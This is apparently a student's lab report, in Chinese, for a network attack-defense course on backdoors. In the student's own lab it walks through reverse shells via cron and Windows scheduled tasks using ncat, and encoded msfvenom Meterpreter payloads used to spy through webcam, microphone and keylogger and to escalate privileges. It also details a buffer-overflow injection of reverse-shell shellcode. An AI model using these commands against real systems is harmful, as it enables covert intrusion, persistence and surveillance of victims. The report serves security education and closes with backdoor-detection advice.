20242320 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242320 2026-2027-1 《网络与系统攻防技术》实验二实验报告

实验名称:后门原理与实践

实验环境:

  • Kali Linux 2026.2 虚拟机(主机名已改为姓名拼音 fanxingru):担任攻击机,任务一、五中同时兼任 Linux 靶机
  • Windows 11 宿主机(计算机名 fancy):担任 Windows 靶机,用于任务二、三、四
  • 工具:netcat(nc/ncat)、socat、Metasploit Framework(msfvenom/msfconsole)、cron、Windows 任务计划程序、gdb(GEF)
  • 本文所有 IP 地址以实验时的实际地址为准,端口统一用 2320

1. 基础知识

1.1 后门是什么

后门(Backdoor) 是攻击者在目标系统中留下的、绕过正常身份认证机制的隐蔽访问通道。正常用户登录要输密码、过验证,走后门则直接拿到控制权限。

一个完整的后门通常要具备三个要素:

要素 含义 本实验对应
进入 后门程序/代码如何到达目标主机 ncat 传输、社会工程学投递
启动 如何被执行起来 cron 定时任务、Windows 任务计划、诱骗用户双击
隐藏与回连 如何不被发现并保持控制 反弹连接(绕过入站防火墙)、免杀编码

1.2 正向连接与反弹连接

  • 正向连接(Bind Shell):后门在靶机上监听一个端口,等攻击者来连。问题是现在的主机基本都有防火墙/NAT,入站连接大多被拦。
  • 反弹连接(Reverse Shell):靶机主动向外发起连接到攻击者。防火墙一般只查"进来的",不查"出去的",所以成功率高得多。本实验所有 shell 均为反弹连接。

Q:反弹 shell 的本质是什么?

把 /bin/sh(或 cmd.exe)的标准输入、标准输出、标准错误重定向到一条 TCP 连接上。攻击者在自己终端敲的命令,通过 TCP 流进靶机 shell 的 stdin;执行结果再通过 TCP 流回来。对 shell 来说它只是在"读键盘、写屏幕",根本不知道对面是网线。

1.3 netcat 与 socat

  • netcat(nc):号称"TCP/IP 瑞士军刀",能在任意端口监听或发起 TCP/UDP 连接并双向转发数据。Kali 自带的是 OpenBSD 版 nc,监听没问题,但不支持 -e(把 shell 挂到连接上);需要 -e 时用 nmap 套件里的 ncat,或者直接借助 bash 的 /dev/tcp 特性。
  • socat:netcat 的超级加强版,支持任意两个"地址"之间的数据桥接(exec:、pty、file:、tcp: 随便拼)。Windows 也有编译好的移植版,理论上可跨平台拿 cmd;但本实验发现其 Cygwin 编译版与新版 Windows 11 存在兼容性障碍(详见 3.2 与 5.2),最终改用 ncat 完成等价反弹。

1.4 定时启动机制

  • cron(Linux):周期性执行任务的守护进程。crontab -e 编辑当前用户的任务表,每行 5 个时间字段 分 时 日 月 周,最小粒度 1 分钟。注意 cron 执行任务时的环境变量极少(没有 PATH 等),命令必须写绝对路径。
  • 任务计划程序(Windows):Windows 的等价物,图形界面 taskschd.msc,命令行 schtasks。可以按分钟/小时/登录事件触发任意程序。

这两者本身是正常运维工具,但也被广泛用于后门驻留——攻击者不需要一直守着,定时任务会替他"准时上班"。

1.5 Metasploit 与 Meterpreter

  • Metasploit Framework(MSF):渗透测试框架,模块化设计:exploit(漏洞利用)、payload(攻击载荷)、encoder(编码器)、auxiliary(辅助模块)。
  • msfvenom:MSF 的载荷生成器,一条命令把 payload 打包成 exe/elf/perl/shellcode 等各种形态。
  • Meterpreter:MSF 的王牌 payload。它不是普通的命令 shell,而是一个完全运行在内存里、不落盘的高级后门:文件上传下载、截屏、摄像头、录音、键盘记录、提权、进程迁移……全部封装成命令。

Q:为什么说 Meterpreter 难被查杀?

静态查杀看的是文件特征,Meterpreter 本体通过反射式注入直接进内存,磁盘上没有"毒"可查;再加上 msfvenom 的编码器能对载荷做变形,特征码又被进一步打乱。

1.6 免杀技术

杀毒软件主要靠两类手段:特征码匹配(静态,比对已知恶意代码字节序列)和行为分析(动态,监控可疑 API 调用/网络行为)。免杀就是反其道而行:

  • 编码变形:msfvenom -e x86/shikata_ga_nai -i N,对 payload 做多轮异或编码,每次生成的二进制特征都不同;
  • 加壳:UPX 等压缩壳改变文件结构;
  • 分离加载:shellcode 与加载器分开存放,运行时拼接,静态扫描看不到完整恶意代码;
  • 白利用:借助正常程序(如系统自带工具)执行恶意逻辑。

本实验会生成一个 meterpreter 后门并用多轮编码处理,观察编码前后的变化。

1.7 shellcode 注入(承接实验一)

实验一已经在 pwn1 上验证过:32 字节填充 + 4 字节返回地址 + NOP 滑梯 + shellcode,把 shellcode 放在返回地址上方避免被自身 push 覆写。本次唯一的区别是 shellcode 不再是自己手写的 25 字节 /bin/sh,而是 msfvenom 生成的反弹连接 shellcode——它执行后会主动连回本机的 MSF handler,把实验一和实验二串成了一条完整的链:溢出漏洞是门,Meterpreter 是门后的人。

两个新注意点:

  • 反弹 shellcode 更长(百字节级),滑梯和栈空间要留够;
  • shellcode 里不能含坏字符 \x00(C 字符串函数的截断符)和 \x0a(换行,gets 读到它即停止),msfvenom 用 -b '\x00\x0a' 排除。

2. 实验内容

任务 内容 技术点 涉及主机
任务一 netcat 获取主机操作 Shell,cron 定时启动 nc/ncat 反弹、cron Kali(本机双角色)
任务二 ncat 获取 Windows 操作 Shell,Windows 任务计划启动 ncat、schtasks Kali → Windows
任务三 MSF 生成可执行后门,ncat 传送并运行 msfvenom、handler Kali → Windows
任务四 Meterpreter 获取音频/摄像头/击键记录,尝试提权 后渗透、getsystem Kali → Windows
任务五 MSF 生成 shellcode 注入 pwn1,获取反弹连接 Shell BOF + 反弹 shellcode Kali(本机双角色)

思考题:

  1. 例举一个后门进入你系统中的可能方式;
  2. 例举后门启动起来的方式(Windows 及 Linux);
  3. Meterpreter 有哪些给你印象深刻的功能;
  4. 如何发现自己的系统有没有被安装后门。

3. 实验过程

3.0 实验准备

确认两台主机的网络与身份:

# Kali(攻击机)查看本机 IP,记为 KALI_IP
ip a
# 确认 Kali 的 cron 服务可用
systemctl status cron          # 若显示 inactive:
sudo systemctl enable --now cron

屏幕截图 2026-10-12 103122

(Kali 端 ip a 输出,可见 IP 为 192.168.166.134;systemctl status cron 显示 active;which ncat socat 确认工具已安装)

:: Windows(靶机)确认能 ping 通 Kali,并确认计算机名
ping 192.168.166.134
hostname

屏幕截图 2026-10-12 103134

(Windows 端 ping 通 Kali,hostname 为 fancy)

3.1 任务一:netcat 获取主机操作 Shell,cron 启动

思路:cron 是 Linux 的机制,所以这一任务在 Kali 本机完成
Kali 同时扮演靶机和攻击机:一个终端用 nc 监听 2320 端口(攻击机角色),crontab 里加一条每分钟执行的任务,主动把 /bin/bash 反弹到本机(靶机角色)。

第一步:攻击机终端起监听

nc -lvnp 2320
# -l 监听模式;-v 显示连接信息;-n 不解析域名;-p 指定端口

屏幕截图 2026-10-12 103643

(监听端 nc -lvnp 2320,显示 Listening on 0.0.0.0 2320)

第二步:靶机中写 cron 任务

crontab -e

(nano编辑器)加入一行:

* * * * * /usr/bin/ncat 127.0.0.1 2320 -e /bin/bash

Q1:5 个星号什么意思?

分 时 日 月 周 五字段全为 *,即"每分钟都执行"。cron 最小粒度是 1 分钟,所以最多等 60 秒就能等到回连。想省时间可以只写下一分钟,比如当前 14:35 就写 36 14 * * *。

Q2:-e是啥参数?

-e 是 ncat 的参数,全称 --exec,意思是连接建立后,把指定程序挂到网络连接上。
/bin/bash 是 Bourne-Again SHell,Linux 上最常用的命令行解释器,也就是俗称的"shell"。(联想:操作系统中的让我们写的shell程序)

常见的几种 shell

路径 是什么
/bin/bash 功能最丰富的交互式 shell,有历史记录、自动补全、脚本支持
/bin/sh 最原始的 POSIX shell,功能精简,兼容性好
/bin/zsh Kali 2026 默认终端用的就是这个,比 bash 更现代化
cmd.exe Windows 的等价物,任务二里 -e cmd.exe 就是挂接 Windows 的命令解释器

Q3: 这条命令在干啥?
这条命令在后台干了三件事:
建立到攻击机 127.0.0.1:2320 的 TCP 连接
把 /bin/bash 的标准输入 接到这条 TCP 连接(攻击机敲的字,变成 bash 的输入)
把 /bin/bash 的标准输出+错误 接到这条 TCP 连接(bash 的执行结果,传回攻击机)

如果用nc的话(nc没有-e参数)

* * * * * /bin/bash -c '/bin/bash -i >& /dev/tcp/127.0.0.1/2320 0>&1'

>& /dev/tcp/... 把 stdout/stderr 重定向进 TCP 连接,0>&1 再把 stdin 也接过去,等效于 ncat -e。注意 cron 里没有 PATH,ncat、bash 都要写绝对路径。

屏幕截图 2026-10-12 103628
屏幕截图 2026-10-12 103943
(crontab -e 编辑界面,可见 * * * * * /usr/bin/ncat 127.0.0.1 2320 -e /bin/bash;crontab -l 确认任务已写入)

第三步:等到点,收 shell

监听终端里原本干等的 nc 出现一个无提示符的光标,即 cron 弹回来的 shell:

whoami        # kali(crontab 属主)
hostname      # fanxingru
tty           # not a tty —— 典型的反弹 shell 特征

屏幕截图 2026-10-12 104045

(监听端拿到 shell 并执行 whoami、hostname、tty)

Q1: What is 反弹shell?

正向连接(Bind Shell) 反弹连接(Reverse Shell)
谁监听 靶机监听端口 攻击机监听端口
谁连谁 攻击机连靶机 靶机连攻击机
防火墙 入站连接,大概率被防火墙拦 出站连接,通常放行
NAT 靶机在内网时攻击者连不进去 靶机主动连外网,NAT 自动打通

Q2: What is tty?
tty 全称 Teletypewriter(电传打字机),是 Linux/Unix 系统里对"终端设备"的抽象。
反弹回来的shell不是tty,这带来的实际影响:
没有命令提示符(bash 检测到不是交互式终端,不打印 $)
不能用 Ctrl+C 优雅中断(没有 tty 的信号控制)
vim、top 这类需要"接管整个屏幕"的程序跑不了

Q3:为什么没有 $ 提示符?
和实验一任务二同理:bash 检测到 stdin 不是终端,进入非交互模式不打印提示符,但命令照样执行。判断标准是命令有没有被执行,不是有没有提示符。

清理:实验完 crontab -e 删掉这行,否则每分钟都会来弹一次(这也是判断后门驻留的直观体验)。

3.2 任务二:ncat 获取 Windows 操作 Shell,任务计划启动

思路:与任务一类似。这次靶机是 Windows 11,启动方式换成 Windows 任务计划程序,最终拿到的是 cmd.exe。

第一步:尝试 socat(遇阻,难受啊)

按实验要求,首先尝试使用 socat 完成跨平台反弹。Kali 自带 socat,Windows 端下载了编译好的 "socat for windows"(3ndG4me 的 Cygwin 编译版),解压到 C:\Users\fancy\Downloads\socat\socat.exe。

Kali 端起监听:

socat tcp-listen:2320,reuseaddr -

Windows 端尝试连接:

C:\Users\fancy\Downloads\socat\socat.exe tcp:192.168.166.134:2320 exec:cmd.exe,stderr

屏幕截图 2026-10-12 104325

(PowerShell 中 socat 报错:find_fast_cwd: WARNING 及 xiopoll: Bad file descriptor)

尝试换 SYSTEM:cmd.exe,stderr 参数、换传统 cmd.exe 窗口运行
屏幕截图 2026-10-12 104546
害,均失败。现象相同: socat 进程启动后立刻崩溃,Kali 端无连接建立。

排查一下:为区分"网络不通"和"程序崩溃",在 Windows 端执行裸 TCP 测试:

C:\Users\fancy\Downloads\socat\socat.exe - tcp:192.168.166.134:2320

屏幕截图 2026-10-12 104906
屏幕截图 2026-10-12 104849

(Windows 端 socat 裸 TCP 成功连接 Kali,Kali 端收到文本 "ohno why the socat tool can not work on my win11 !",证明网络链路完全正常)

结论:Cygwin 编译的 socat 在 Windows 11 上存在 find_fast_cwd 与控制台句柄兼容性缺陷,导致无法通过 exec: 或 SYSTEM: 启动子进程。这是工具本身的平台适配缺陷。

故而改用 ncat 完成等价反弹

下载 ncat for Windows(nmap 官方版),解压到 C:\Users\fancy\Downloads\ncat\ncat.exe。ncat 的 -e cmd.exe 参数与 socat 的 exec:cmd.exe 在功能上等价,都是把 cmd 的 stdin/stdout 桥接到 TCP 连接。

第二步:Kali 端起监听

socat tcp-listen:2320,reuseaddr -
# 把本地终端的 stdin/stdout 桥接到 TCP 监听器
# reuseaddr:允许端口复用,反复测试时不会因 TIME_WAIT 报 Address already in use

第三步:Windows 端手动测试

cmd 中执行:

C:\Users\fancy\Downloads\ncat\ncat.exe 192.168.166.134 2320 -e cmd.exe

屏幕截图 2026-10-12 105052

Q:-e cmd.exe 干了什么?

ncat 把 cmd.exe 这个子进程的 stdin/stdout 桥接到 TCP 连接上。Kali 那端敲什么,cmd 就执行什么,结果原路返回。这和任务一 ncat -e /bin/bash 是一个套路,只是换成了 Windows 的 cmd。

Kali 端出现 Microsoft Windows [版本 ...] 的横幅和 C:\...> 提示符,说明链路 OK,先 exit 断开。
屏幕截图 2026-10-12 105046

(Kali 端拿到 Windows cmd,执行 whoami、hostname)

第四步:创建任务计划,让它定时自启

Windows 端 cmd 中执行:

schtasks /create /tn "20242320_backdoor" /tr "C:\Users\fancy\Downloads\ncat\ncat.exe 192.168.166.134 2320 -e cmd.exe" /sc minute /mo 1 /f

屏幕截图 2026-10-12 105621

参数解释:

参数 含义
/tn 任务名,按要求:20242320_backdoor
/tr 要运行的命令行(ncat 路径无空格,不需要额外转义)
/sc minute /mo 1 按分钟触发,间隔 1 分钟
/f 同名任务已存在时强制覆盖

第五步:验证

Kali 端重新 socat tcp-listen:2320,reuseaddr - 等着,最多 1 分钟后 Windows 的任务计划触发 ncat,cmd 又弹回来了。Windows 端在 taskschd.msc(任务计划程序)里能看到 20242320_backdoor 条目及其"上次运行时间/下次运行时间"。
屏幕截图 2026-10-12 105052
(Windows 任务计划程序界面中能看到 20242320_backdoor,状态"正在运行",触发器"每隔 00:01:00 重复一次")
屏幕截图 2026-10-12 105604
(Kali 端 socat 自动拿到 cmd,执行 whoami 显示 fancy\15536、hostname 显示 fancy)

清理:schtasks /delete /tn "20242320_backdoor" /f。
屏幕截图 2026-10-12 105643

(删除任务成功)

3.3 任务三:MSF 生成可执行后门,ncat 传送,运行获取 Shell

思路:前两步是"裸管道"shell,功能简陋。这次用 msfvenom 生成一个 Meterpreter 后门 exe,靠 ncat 把它送进 Windows 靶机,运行后由 msfconsole 的 handler 接管。

第一步:Kali 生成后门程序

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.166.134 LPORT=2320 \
  -e x86/shikata_ga_nai -i 5 \
  -f exe -o backdoor_20242320.exe
参数 含义
-p windows/meterpreter/reverse_tcp payload:Windows 平台 Meterpreter 反弹连接
LHOST/LPORT 回连地址,即 Kali 的 IP 和端口
-e x86/shikata_ga_nai -i 5 用多态异或编码器编码 5 轮(免杀处理)
-f exe -o ... 输出为 Windows 可执行文件;用 -o 写文件而不是 > 重定向,避免提示信息混进二进制

屏幕截图 2026-10-12 105837
(msfvenom 输出,payload 经 5 轮编码,最终 exe 大小 7680 字节)

第二步:ncat 传输到 Windows

先起监听的一方是"发送端"(Kali):

nc -lvnp 2320 < backdoor_20242320.exe

Windows 端连接并接收:

cd C:\Users\fancy\Downloads
C:\Users\fancy\Downloads\ncat\ncat.exe 192.168.166.134 2320 > backdoor_20242320.exe

屏幕截图 2026-10-12 105957
屏幕截图 2026-10-12 110010

传完后在 Windows 上 dir backdoor_20242320.exe,和 Kali 上 ls -l backdoor_20242320.exe 对比大小一致即可。
(两端传输完成、文件大小均为 7680 字节)

第三步:Kali 端启动 handler 等待回连

msfconsole -q
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 192.168.166.134
msf exploit(multi/handler) > set LPORT 2320
msf exploit(multi/handler) > run

Q:handler 是什么角色?

后门 exe 只负责"打电话回来",接电话的必须是一个讲 Meterpreter 协议的对端。exploit/multi/handler 就是 msfconsole 里的"总机",它监听端口,把回连升级成 meterpreter 会话。注意 handler 的 payload/LHOST/LPORT 必须和 msfvenom 生成时完全一致,否则接不上。

(handler 启动,显示 Started reverse TCP handler on 192.168.166.134:2320)

第四步:Windows 靶机双击运行 backdoor_20242320.exe
屏幕截图 2026-10-12 110729

msfconsole 中出现:

[*] Meterpreter session 1 opened (192.168.166.134:2320 -> 192.168.166.1:xxxxx) at ...

敲 sysinfo、getuid、shell 验证:

meterpreter > sysinfo     # OS: Windows 11 24H2 (10.0 Build 26200),Architecture: x64
meterpreter > getuid      # Server username: FANCY\15536
meterpreter > shell       # 降级成普通 cmd,验证 whoami,exit 返回

屏幕截图 2026-10-12 110151
(session opened 提示 + sysinfo + getuid + shell 中 whoami)

3.4 任务四:Meterpreter 获取音频、摄像头、击键记录,尝试提权

接任务三的 meterpreter 会话。

摄像头:

meterpreter > webcam_list        # 列出摄像头设备:1: HP True Vision FHD Camera
meterpreter > webcam_snap        # 拍一张照片,自动保存到 Kali 本地并弹出路径

音频:

meterpreter > record_mic -d 10   # 录制 10 秒环境音,保存为 wav

击键记录:

meterpreter > keyscan_start      # 开始记录

此时到 Windows 靶机上打开记事本写一行内容(比如账号密码),回 Kali:

meterpreter > keyscan_dump       # 导出记录的击键
meterpreter > keyscan_stop       # 停止

特别注意到 keyscan_dump 的输出里出现了 passwoe^Hrd——^H 是退格键,说明靶机在输入密码时打错了一个字母、按退格删掉重打。keyscan 把这个过程原原本本录下来了。这是键盘记录比截屏更可怕的地方:它连你的"输入修正过程"都看得见。

截屏:

meterpreter > screenshot         # 拍靶机桌面

提权:

meterpreter > getuid             # FANCY\15536(普通用户)
meterpreter > getsystem          # ... got system via technique 1 (Named Pipe Impersonation)
meterpreter > getuid             # NT AUTHORITY\SYSTEM

屏幕截图 2026-10-12 110516

归档:

mkdir -p /home/kali/exp2_evidence
mv /home/kali/exp1/shellcode_20242320.txt /home/kali/exp1/sc.pl /home/kali/exp1/try.bin /home/kali/exp2_evidence/

屏幕截图 2026-10-12 111456
(采集的文件归档)

Q:getsystem 的原理是什么?

Meterpreter 依次尝试多种技术:命名管道模拟(Named Pipe Impersonation,利用服务账户的 SeImpersonate 特权)、令牌复制(Token Duplication)等。本实验直接通过 technique 1 成功提权。

退场:

meterpreter > exit               # 关闭会话
msf exploit(multi/handler) > quit

屏幕截图 2026-10-12 110752

(正常退出 msfconsole)

⚠️ 实验结束后已在 Windows 端删除后门文件,并恢复 Defender 实时保护以及火绒。

3.5 任务五:MSF 生成 shellcode 注入 pwn1,获取反弹连接 Shell

思路:把实验一的"本地弹 shell"升级成"远程弹 meterpreter"。shellcode 由 msfvenom 生成,注入布局完全沿用实验一第三次尝试的结论:32 字节填充 + 返回地址 + NOP 滑梯 + shellcode(shellcode 必须在返回地址上方)。pwn1 和 handler 都在 Kali 本机,回连地址填 127.0.0.1 即可。

前置条件(实验一已做):

cat /proc/sys/kernel/randomize_va_space    # 0,ASLR 已关闭
checksec --file=./pwn1                     # NX disabled、No PIE、无 Canary

第一步:生成反弹 shellcode

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=2320 \
  -b '\x00\x0a' -f perl > shellcode_20242320.txt
  • 为什么是 linux/x86:pwn1 是 32 位 Linux 程序;
  • -b '\x00\x0a' 排除坏字符:msfvenom 检测到坏字符会自动用编码器重新编码绕开;
  • -f perl 直接输出 perl 变量格式的字节串(my $buf = "\x...";),方便拼进 perl 命令。
    屏幕截图 2026-10-12 111103
    (生成的 shellcode 内容,经 x86/shikata_ga_nai 编码,payload size 150 bytes,perl 文件 665 bytes)

第二步:gdb 定栈地址

shellcode 比实验一的长(150 字节),滑梯要给足 80 字节。先用占位返回地址跑一版,attach gdb 在 foo 的 ret(0x080484ae)下断点:

gdb -q ./pwn1
gef➤ disassemble foo
gef➤ break *0x080484ae
gef➤ run < /tmp/test_input          # 占位输入:32字节填充 + \xff\xff\xff\xff
gef➤ info registers esp             # 读出 esp = 0xffffcf1c

屏幕截图 2026-10-12 111131
屏幕截图 2026-10-12 111231
屏幕截图 2026-10-12 111428

(gdb 启动、foo 反汇编确认 ret 地址、断在 ret 后 esp=0xffffcf1c)

据此计算理论地址:

  • 滑梯起始 = esp + 4 = 0xffffcf20
  • 返回地址(滑梯中部)= 0xffffcf20 + 40 = 0xffffcf48

第三步:构造攻击输入

sed 's/^my //' shellcode_20242320.txt > sc.pl
perl -e 'do "./sc.pl"; print "11111111222222223333333344444444" . "\x48\xcf\xff\xff" . "\x90"x80 . $buf' > input_revshell_20242320
xxd input_revshell_20242320 | head -30

xxd 检查确认:

  • 0x00~0x1f:32 字节填充 31313131...34343434
  • 0x20~0x23:返回地址 48 cf ff ff
  • 0x24~0x6f:80 字节 90 滑梯
  • 0x70 起:shellcode
  • 总长 266 字节,全程无 00/0a
    屏幕截图 2026-10-12 111653
    (xxd 输出,返回地址为 48 cf ff ff,滑梯和 shellcode 完整)

第四步:msfconsole 起 handler(payload 换成 linux/x86)

msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload linux/x86/meterpreter/reverse_tcp
msf exploit(multi/handler) > set LHOST 127.0.0.1
msf exploit(multi/handler) > set LPORT 2320
msf exploit(multi/handler) > run

屏幕截图 2026-10-12 111914

第五步:攻击——第一次尝试(失败)

(cat input_revshell_20242320; cat) | ./pwn1

屏幕截图 2026-10-12 111904

现象:pwn1 乱码回显后直接 segmentation fault,handler 未收到连接。

分析:gdb 调试环境会改变初始栈布局(注入了自己的环境变量如 LINES、COLUMNS 等),导致直接运行 ./pwn1 时的实际 esp 与 gdb 中量到的有偏移。80 字节滑梯虽提供了容错,但理论中点 0xffffcf48 恰好落在了滑梯之外。

解决:以 0xffffcf48 为中心,上下以 40 字节为步长试多个候选偏移:

for delta in 0 40 -40 80 -80 120 -120 160 -160 200 -200; do
  perl -e 'do "./sc.pl"; my $r = 0xffffcf48 + '"$delta"'; print "11111111222222223333333344444444" . pack("V",$r) . "\x90"x80 . $buf' > try.bin
  echo "===== delta = $delta ====="
  (cat try.bin; cat) | timeout 2 ./pwn1 2>&1 | tail -1
done

循环跑的同时盯着 msfconsole,当 delta = 40 时,handler 出现 Sending stage,session 建立——说明真实返回地址应为 0xffffcf48 + 40 = 0xffffcf70。
屏幕截图 2026-10-12 112231

第六步:用正确地址重新攻击(成功)

perl -e 'do "./sc.pl"; my $r = 0xffffcf48 + 40; print "11111111222222223333333344444444" . pack("V",$r) . "\x90"x80 . $buf' > input_revshell_20242320
xxd input_revshell_20242320 | head -8
(cat input_revshell_20242320; cat) | ./pwn1

pwn1 这边"乱码回显 + 卡住",msfconsole 出现:

[*] Meterpreter session 4 opened (127.0.0.1:2320 -> 127.0.0.1:36892) at ...

验证:

meterpreter > sysinfo      # OS: Debian (Linux 7.0.12+kali-amd64),Computer: fanxingru
meterpreter > getuid       # kali

屏幕截图 2026-10-12 112442

屏幕截图 2026-10-12 112435

(xxd 确认返回地址为 70 cf ff ff、攻击命令;msfconsole 中 session 4 opened + sysinfo + getuid)

Over!

4. 实验问题回答

(1) 例举一个后门进入你系统中的可能方式?

最常见的是社会工程学捆绑投递:比如在网上下载所谓"破解版/绿色版"软件、游戏外挂、课程资料压缩包,攻击者用工具把正常安装包和 meterpreter 后门捆绑成一个 exe,图标和界面都和原软件一样,用户双击运行后软件正常使用,后门在后台静默回连。邮件附件(带宏的 Office 文档)、U盘摆渡、水坑网站挂马、软件供应链投毒也都是常见入口。本次实验任务三里"ncat 传文件 + 手动双击"模拟的就是这个环节的最后一步。

(2) 例举后门启动起来的方式(Windows 及 Linux)?

  • Windows:
    1. 任务计划程序(本实验任务二,schtasks);
    2. 注册表自启动项:HKCU\Software\Microsoft\Windows\CurrentVersion\Run;
    3. 开始菜单"启动"文件夹;
    4. 注册为系统服务(sc create)随开机启动;
    5. 劫持/替换常用软件的快捷方式、DLL 侧加载。
  • Linux:
    1. cron 定时任务(本实验任务一,crontab -e / /etc/cron.d/);
    2. systemd 服务单元(/etc/systemd/system/ 下放一个 .service 并 enable);
    3. ~/.bashrc、/etc/profile 等 shell 启动脚本里加反弹命令;
    4. /etc/rc.local 或 init 脚本;
    5. SSH 后门:往 ~/.ssh/authorized_keys 写入攻击者公钥。

(3) Meterpreter 有哪些给你印象深刻的功能?

最震撼的是它的集成度!一个不到百 KB、纯内存运行的 payload,能 webcam_snap 打开摄像头拍照、record_mic 录环境音、keyscan_start 记录键盘输入、screenshot 截屏、hashdump 导密码哈希、getsystem 一键尝试提权、migrate 把自身迁移进别的进程躲查杀、upload/download 任意传文件。

特别印象深刻的是 keyscan_dump 的输出里出现了 passwoe^Hrd——^H 是退格键,说明靶机在输入密码时打错了一个字母、按退格删掉重打。keyscan 把这个过程原原本本录下来了。

(4) 如何发现自己的系统有没有被安装后门?

  • 查进程:ps aux / Windows 任务管理器(配合 Process Explorer),找陌生进程、名字仿冒系统进程的(scvh0st.exe 这类李鬼)、父进程异常的;
  • 查网络连接:ss -antp(Linux)/ netstat -ano(Windows),重点看 ESTABLISHED 状态的可疑外连,反弹 shell 一定有持续外连;
  • 查启动项:Linux 看 crontab -l、/etc/cron.*、systemctl list-unit-files、.bashrc;Windows 看任务计划、注册表 Run 键、服务列表(可用 Autoruns 一键全看);
  • 查文件:最近新增/修改的可执行文件、无签名文件,杀软全盘扫描,可疑样本传 virustotal 多引擎比对;
  • 查账户与日志:/etc/passwd 有没有陌生账户、登录日志 /var/log/auth.log / Windows 事件查看器里的异常登录;
  • 治本思路:后门最难防的是"进入"那一下,不点不明附件、不装破解软件、及时打补丁、最小权限运行,比事后排查划算得多。

5. 问题及解决方案

  • 问题1:任务一中 crontab 写好后,nc 监听端始终收不到回连。

  • 问题1解决方案:逐步排查——① systemctl status cron 发现 Kali 的 cron 服务默认没启动,sudo systemctl enable --now cron 拉起;② 起初任务里直接写 nc 127.0.0.1 2320 -e /bin/bash,报错才发现 Kali 的 OpenBSD 版 nc 不支持 -e,换成 ncat -e 后成功;③ 还曾因命令没写绝对路径失败——cron 环境变量极简,which ncat 查到 /usr/bin/ncat 写全路径后解决。另外 cron 最小粒度 1 分钟,写完任务没等到点时先别急着改,确认 date 过了整分。

  • 问题2:任务二中 Windows 端 socat 无法启动 cmd 反弹,报错 xiopoll: Bad file descriptor。

  • 问题2解决方案:

    1. 先执行裸 TCP 测试 socat - tcp:192.168.166.134:2320,证明网络链路完全正常,排除防火墙/网络因素;
    2. 尝试 exec:cmd.exe,stderr、SYSTEM:cmd.exe,stderr、传统 cmd.exe 窗口运行等多种参数组合均失败;
    3. 判定为 Cygwin 编译的 socat 与 Windows 11 控制台句柄处理存在兼容性缺陷(find_fast_cwd 警告 + xiopoll 崩溃);
    4. 改用 ncat for Windows(ncat.exe 192.168.166.134 2320 -e cmd.exe)完成等价反弹,功能完全一致。
  • 问题3:任务五第一次注入反弹 shellcode 时,handler 没收到连接,pwn1 直接 segmentation fault。

  • 问题3解决方案:

    1. xxd 检查输入文件,确认坏字符、返回地址、滑梯长度均无问题;
    2. 分析原因:gdb 启动进程时会注入自身环境变量(如 LINES、COLUMNS),改变初始栈顶位置,导致直接运行 ./pwn1 时的实际 esp 与 gdb 中量到的 0xffffcf1c 存在偏移;
    3. 以理论中点 0xffffcf48 为中心,用 delta 循环(步长 40 字节,覆盖 ±200 字节范围)暴力试出真实返回地址;
    4. 当 delta = 40 时 session 成功建立,确定真实返回地址为 0xffffcf70;
    5. 用正确地址重新生成攻击输入,攻击成功。这也验证了 NOP 滑梯的工程意义——不追求精确命中,只要跳进滑梯范围即可。
  • 问题4:msfconsole 的 handler 起来了、靶机也运行了后门,但没有 session。

  • 问题4解决方案:十有八九是 handler 的 payload 类型或 LHOST/LPORT 与 msfvenom 生成时不一致(比如生成用 2320,handler 忘改还是默认的 4444)。show options 逐项核对后修正即连上。

6. 学习感悟、思考等

1.后门这个东西真难防啊。是不是计算机足够透明就不会有这样的事情存在了?(因为多层抽象嘛,还有操作系统帮你干事(就相当于封装了一层又一层,类似洋葱onion))害,似乎不能从根源上解决这个问题勒(接受现实)。说到底还是,设计问题?(就像解释为什么TCP/IP体系架构一样,因为设计之初就没有考虑安全(捂脸苦笑.jpg)),也就是信任问题吧,所以才要零信任。安全说到底是一个经济学问题吧:让攻击者的成本远高于收益,而不是追求"绝对纯净"的系统。
2.那这种好用的渗透工具(Meterpreter)岂不是攻击者用来很顺手啊(它把攻击流程工业化、自动化了)。但使用这类工具的攻击的特征更明显(机器更好学习吧),也更好防御了。
3.如此一来,作为防御者,看来是向来要以最坏的恶意来揣测攻击者的!

posted @ 2026-10-18 11:27  jasmine·fancy  阅读(13)  评论(0)    收藏  举报